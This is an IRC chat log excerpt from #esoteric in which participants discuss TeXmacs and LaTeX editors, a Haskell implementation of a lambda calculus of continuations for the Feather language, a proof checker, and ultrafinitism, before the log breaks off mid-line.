:AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alpha* < 1268149116 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :no, a does. < 1268149119 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :tab is not autocomplete. < 1268149122 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :tab is "variations" < 1268149128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, on what? last letter? < 1268149132 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :for instance, | gives \vee < 1268149140 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes. < 1268149143 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, what if I want aleph instead? < 1268149148 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, how would one type that? < 1268149156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in TeXmacs < 1268149158 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :\aleph. it probably has some shortcut < 1268149166 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :also, @ is for circle stuff, so @@ = infinity, @+ = circled +, etc < 1268149167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, not a? < 1268149170 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :it's actually very, very handy < 1268149174 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: maybe it is. maybe it's something else < 1268149179 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :aleph doesn't look like a < 1268149184 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :so it's probably not a < 1268149185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1268149198 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :perhaps N < 1268149202 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps < 1268149210 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1268149217 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, what about an actual @? < 1268149251 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Well, \text{@} works. < 1268149260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, how verbose! < 1268149260 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Which is actually \text@ < 1268149268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes, very very verbose < 1268149269 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :A-$ also works for text. < 1268149272 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :A-$ @ right < 1268149277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can just type a single @ < 1268149286 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Now write infinity. @@ < 1268149290 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Blackboard bold N. NN < 1268149294 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :+ in circle. @+ < 1268149298 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Right arrow. -> < 1268149315 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, A-$ @ right is soooo horrible. < 1268149325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, I wouldn't write @@, since it is on altgr here, that is not so easy as \infty < 1268149326 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Especially as @ is /so/ /common/ in mathematics. < 1268149331 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Of course, @ outside of an equation still produces @. < 1268149388 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, anyway, I find lyx have no major issues. A few small quirks sure. But then LaTeX itself has plenty of those too. And LyX does a reasonable job of producing a good result without a lot of fine tuning < 1268149401 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the issue's mostly with the interface < 1268149408 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I have no issues with the general concept, just the details < 1268149448 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I would hate to edit in Computer Modern on a "normal" dpi desktop monitor < 1268149457 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :But you're okay with reading it? < 1268149463 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Also, TeXmacs allows you to choose among fonts < 1268149464 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Obviously. < 1268149471 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, well I wouldn't use CM unless I aim to print it < 1268149481 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :So choose another font. You are boring. < 1268149488 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it is primarily intended for on screen reading, I would use another font < 1268149534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, my point was that I don't want WYSIWYG. I want to concentrate on the actual text and such first, and only at the end care about small formatting details < 1268149569 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I don't feel like talking to you about this any more. < 1268149578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, I have other things to do as well < 1268149605 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I don't, but (nothing) is better than this. < 1268149611 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :[15:46] == #ω Illegal channel name < 1268149617 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Fuck you, Freenode. < 1268149656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268149689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, if doing direct latex editing I found kile quite nice < 1268149703 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :auctex. No competition at all. < 1268149786 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Microsoft Works is preinstalled on this computer. < 1268149787 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Wow. < 1268149815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now you must use that instead! < 1268149818 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Apparently Ctrl - = delete and Ctrl + is increase font size, but it's also its own inverse. < 1268149844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, what? in TeXmacs? < 1268149850 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how weird < 1268149852 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1268149858 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh works? < 1268149860 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :In Microsoft Works Word Processor. < 1268149867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still weird < 1268149918 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Works is awful < 1268149923 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :ais523: indeed < 1268149927 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know, I used to use it to some extent < 1268149929 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Also, I implemented the Lambda Calculus of Continuations. < 1268149944 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :apart from the word processor; the computer came preinstalled with Works - word processor, and Word < 1268149971 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Not interested? < 1268150005 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise__: vaguely < 1268150015 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I was busy argumenting in two other channels, so was distracted even from a nickping < 1268150019 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Hey, it's for Feather. < 1268150024 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1268150033 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what did you implement it in? Haskell? < 1268150039 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268150041 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I'll pastie. < 1268150043 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, how well does bibtex integrate with TeXmacs? < 1268150070 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: TeXmacs is not tex at all. < 1268150089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, well, what does it use for a replacement of bibtex then? < 1268150097 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Dunno < 1268150146 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :ais523: http://pastie.org/861515.txt?key=n5pnirguwnncksdk7homzq. So, we have two main structures: < 1268150157 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :f(x,k) and (\x,k.E) < 1268150173 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :There are constraints: f must be a lambda expression, not another application. < 1268150176 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268150185 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise__: that's nice and short < 1268150188 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :There are constraints: in f(x,k), f, x and k must be lambda expressions, not applications. < 1268150215 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :In (\x,k.E), E must be an application. (I neglected to include this in my implementation) < 1268150223 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :(LCC t should be LCC App). < 1268150243 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :So, we have: no nested applications, and forced continuation "arguments". < 1268150259 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It has the interesting property of making application a triadic operation (since k isn't "really" an argument) < 1268150281 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, it's basicaly just the lambda calculus, except continuation-passing style is enforced. < 1268150296 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I'll probably write a CPS-converter for it. < 1268150320 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :ais523: A disadvantage of my representation is that I can't pretty-print it without a lot of fuss. < 1268150362 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, yes < 1268150378 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so what you've implemented is LC+continuations, but restricted such that CPS is enforced? < 1268150382 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :ais523: But that's no issue with the actual calculus. < 1268150386 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Not +continuations. < 1268150390 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Continuations are done with CPS. < 1268150414 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :It's basically a variant of the lambda calculus that replaces nested application with continuation-passing style. (But CPS isn't inherent in the model; you don't /have/ to "normally" pass things to k.) < 1268150419 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :My god, Works is still around? < 1268150425 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: apparently so < 1268150427 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :(As in, you don't have to write "normal" functions that don't do stupid shit with k.) < 1268150431 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :IIRC, Microsoft are trying to get rid of it though < 1268150463 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :The first hit on Google is under microsoft.com/uk/ < 1268150476 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe it's a British thing. < 1268150724 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268150835 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : Hypothesis: It is impossible to be comfortable. <-- it is possible for short moments, although only by accident, and if you try to prolong it it backfires horribly. at least that's my experience. < 1268150848 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :HTH < 1268150874 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :cps (LApp f x) k = cps f $ Lam $ \k' f' -> App k' $ cps x $ Lam $ \k'' x' -> App f' x' (Lam (\k''' r -> App k r k''')) < 1268150875 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I made an error. Dammit. < 1268150878 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise__: I haven't had the time to encode the theory of rationals in it, but I do have in my proof-checking language a proof of a statement in Peano arithmetic: http://dpaste.com/169965/ < 1268150886 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You may commence talkin' smack about it. < 1268150889 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I mean physical comfort, not mental-anguish-comfort. :P < 1268150912 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise__: i mean both < 1268150918 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Well look at that, you have specification of theorems now :P < 1268150947 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise__: It's just for clarity; itrepeated in the body of < 1268150952 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :the proof anyway < 1268150975 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or rather, its the first step of the proof < 1268150984 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: that doesn't look like the Peano axioms that you've assumed at the start, but rather something else < 1268150994 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and those feed on each other. for example my mental comfort is now helped by chatting on the pc. but eventually i'll tense up physically from doing so. < 1268151005 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, I love that qed is a keyword < 1268151008 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I'm kind of leaving out the ones I don't need. Actually I don't need the zero? < 1268151011 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I /very/ much like proof/qed as structures, though. :-) < 1268151021 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm yes, looks like you don't < 1268151065 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Kind of disturbing that it only relies on a fragment of Peano arithmetic, but it is very simple I guess < 1268151112 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I'm working on another one which is more practical: prove that find(x,tree) always returns true or false if tree is a proper tree. That'll probably require extending this syntax with cases < 1268151129 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :like, case tree -> branch A B ... case tree -> leaf X ... < 1268151135 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :it's actually Qed. < 1268151136 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: i think you have depression :P < 1268151136 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268151137 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :or are just /the/ /most/ cynical person there is < 1268151143 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Which means non-deterministic rewrite rules :/ < 1268151158 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: what do you think of ultrafinitism? :D < 1268151158 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: no, not really < 1268151165 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :find x (branch A B) -> ... < 1268151170 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :find x (leaf X) -> ... < 1268151172 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :same rewriting thing < 1268151181 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, not "non deterministic" so much as "ambiguous outside the presence of cases" < 1268151195 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I mean, to describe what is a tree < 1268151209 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :tree -> (leaf X); tree -> (branch A B) < 1268151253 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :if you rewrite App [Expr] | Symbol String | Free String < 1268151253 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: easy < 1268151254 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :have it be a predicate < 1268151254 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :App [Symbol "find", Free "X", App [Symbol "leaf", Free "X"]] < 1268151254 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :vs < 1268151254 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :tree (branch A B) -> true < 1268151254 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :tree (leaf X) -> true < 1268151255 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :tree X -> false < 1268151257 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise__: (1) quite possibly. (2) don't really know what it is. < 1268151284 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268151342 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise__: Not so easy; to have predicates would require building a theory of booleans < 1268151366 0 :alise!~d4b78c25@gateway/web/freenode/x-qdvrzmvpdqmkpngz JOIN :#esoteric < 1268151389 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Which clearly could be done, and might be done first to make this easier < 1268151392 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: a crazy, crazy mathematical position: http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/real.pdf < 1268151403 0 :MigoMipo!~migomipo@84-217-0-13.tn.glocalnet.net JOIN :#esoteric < 1268151404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that everything that cannot exist in this universe - like sufficiently big integers - does not exist < 1268151408 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But then, I wonder if I would have to use predicates to prove theorems about my theory of booleans :P < 1268151413 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1268151426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :correspondingly, that "real" analysis is completely bunk < 1268151443 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Or at least, that it does not "exist" < 1268151445 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and that godel was wrong because all the impossible proveys are in fact merely meaningless < 1268151460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well not "wrong" but < 1268151488 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(ii) the traditional real line is a meaningless concept. Instead the real REAL `line', is neither real, < 1268151490 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(ii) the traditional real line is a meaningless concept. Instead the real REAL `line', is neither real, < 1268151491 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oops < 1268151493 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(ii) the traditional real line is a meaningless concept. Instead the real REAL `line', is neither real, < 1268151496 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :When a mathematican says "exist" they mean something quite specific < 1268151499 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nor a line. It is a discrete necklace! In other words R = hZp, where p is a huge and unknowable < 1268151501 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh "real" too :) < 1268151510 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(but xed!) prime number, and h is a tiny, but not innitesimal , `mesh size'. < 1268151517 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: the worst thing is /this guy is a professor/ < 1268151528 0 :alise__!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268151546 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: That's bad, but there are worse, much worse, out there. This guy, being a mathematician, is relatively harmless. < 1268151552 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Since mathematics is irrelevant. < 1268151556 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(Sorry, I couldn't resist) < 1268151577 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1268151579 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION beats cpressey with the saucepan of doom ===\__/
< 1268151623 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION 's skull goes "BLONG"
< 1268151631 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: planck length anyone? < 1268151632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: bleh, /you/ implement CPS for that calculus :P < 1268151640 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Planck length... OF THE REALS < 1268151689 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :For all reals R1 and R2 there exists a real R3 where R1 < R2 < R3. And by "exists" I mean "I CAN TOUCH IT" < 1268151701 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Damn, scambled the order of those. < 1268151708 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :*R1 < R3 < R2 < 1268151748 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: so, do you know what the bootstrap progam will look like for feather? < 1268151767 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: not yet; I tried to write it in Scheme, but went mad < 1268151768 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Also, Kronecker was wrong. God invented the *primes*. The integers I blame on the devil. < 1268151770 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well R3 can be taken rational. although you still get problems with the sufficiently big integers. < 1268151785 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: well clearly it must be written in the lambda calculus of continuations! < 1268151785 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: clearly then addition is demonic < 1268151796 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Ooh, a number system based entirely on primes? Tell me more < 1268151810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: that's the thing though, ultrafinitism means that not even infinite rationals exist < 1268151818 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because you run out of integers to put on either side < 1268151822 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: the problem was an infinite loop in trying to define "atoms", which is the next stage in the bootstrapping < 1268151837 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well they have this remarkable property that, when you multiply them together, you can get any integer you want, so long as it's black. < 1268151841 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: hmm... atoms as in symbols, I presume < 1268151845 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: yes < 1268151853 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :they're basically objects that can be compared to other atoms < 1268151855 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :atoms aren't the same thing as symbols :) < 1268151859 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ais523: clearly you need renormalization :D < 1268151862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: easy: < 1268151863 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: atom as in Prolog < 1268151874 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: the issue is making them forward-compatible with actual Feather atoms < 1268151886 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can use a fake-object at the start of the bootstrapping, but not later < 1268151898 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :symbol : a = (() -> ((b = (b -> bool)), a)) < 1268151902 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, the next bit is basically impossible to explain because a) I don't know how it works myself, and b) it's complicated anyway < 1268151912 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: doesn't work < 1268151921 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and the reason it doesn't work is, there's no implementation for the symbol you could use < 1268151935 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That is, symbol is a function taking any old object (), and returning a pair of (a function whose type is (a function taking an object of the type of this function, and returning a boolean)), and another function of the same type as symbol. < 1268151944 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: well, symbols are identified by their name, right? < 1268151949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no two symbols have the same name < 1268151959 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then make them lists of church numerals < 1268151978 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, you can do that; but how do you return it using that typing? < 1268152004 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Return it? What do you think this is, a library book? < 1268152015 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION detonates an atomic symbol
< 1268152017 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: well, you don't < 1268152024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you just implement: < 1268152029 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :'foo -> foo < 1268152035 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because, presumably, your input is a string of characters < 1268152037 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. list of church numerals < 1268152039 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so you have it right ther < 1268152041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :implementing < 1268152046 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sym= : symbol -> symbol -> bool < 1268152077 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION runs into seeming issue with his LCC definition: typed magic means that, I think, I can't write a parser for LCC a :(
< 1268152123 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: typeclass restriction on a maybe? < 1268152146 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(just a wild guess) < 1268152154 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hmm? < 1268152207 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: say when deriving Read instances of things of the form T a, you frequently get the requirement that a also is a Read instance < 1268152221 0 :alise_!~d4b78c25@gateway/web/freenode/x-jacunqshzmmjhego JOIN :#esoteric < 1268152225 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :s/things/types/ < 1268152227 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :everything said after (just a wild guess)? < 1268152235 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: say when deriving Read instances of things of the form T a, you frequently get the requirement that a also is a Read instance < 1268152261 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268152309 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ah. < 1268152337 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I'm writing a syntax for the Lambda Calculus of Continuations < 1268152343 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: this doesn't actually work, but http://pastebin.ca/1830205 < 1268152349 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's the start of an attempt to implement Feather < 1268152364 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you run it, you get an infinite loop, due to the failed attempt to implement everything in terms of everything else < 1268152369 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :it'll provide sugar for the most common case of application < 1268152373 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so e.g. this is what S will look like: < 1268152391 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm, never mind S < 1268152395 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :(haven't written sugar for that yet :D) < 1268152402 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :but, say you want to make a list < 1268152408 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268152418 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons1 := cons 1; < 1268152425 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268152431 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons1 := cons 1 nil; < 1268152434 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I can't even remember the difference between a fakeobject and an object offhand < 1268152435 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons2 := cons 2 cons1; < 1268152438 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: argh < 1268152439 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :shaddup < 1268152441 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons1 := cons 1 nil; < 1268152443 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons2 := cons 2 cons1; < 1268152449 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :cons3 := cons 3 cons2; < 1268152455 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :k cons3 < 1268152466 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's k (cons 3 (cons 2 (cons 1 nil))) < 1268152520 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :I think K will be: < 1268152545 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :\x. <- (\y. <- x) < 1268152567 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :<- is bound to the most recent explicit lambda-abstraction's return argument if a name wasn't provided < 1268152569 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so I think S would be < 1268152598 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :\x. <- \y. <- \z. xz := x z; yz := y z; r := xz yz; <- r < 1268152636 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ais523: does that seem like a reasonable syntax to you? < 1268152637 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I just realised my definition is incorrect, in that continuations shouldn't get continuation arguments themselves < 1268152638 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ideally, it'd be possible to implement feather in it < 1268152639 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hello! < 1268152651 0 :alise_!unknown@unknown.invalid 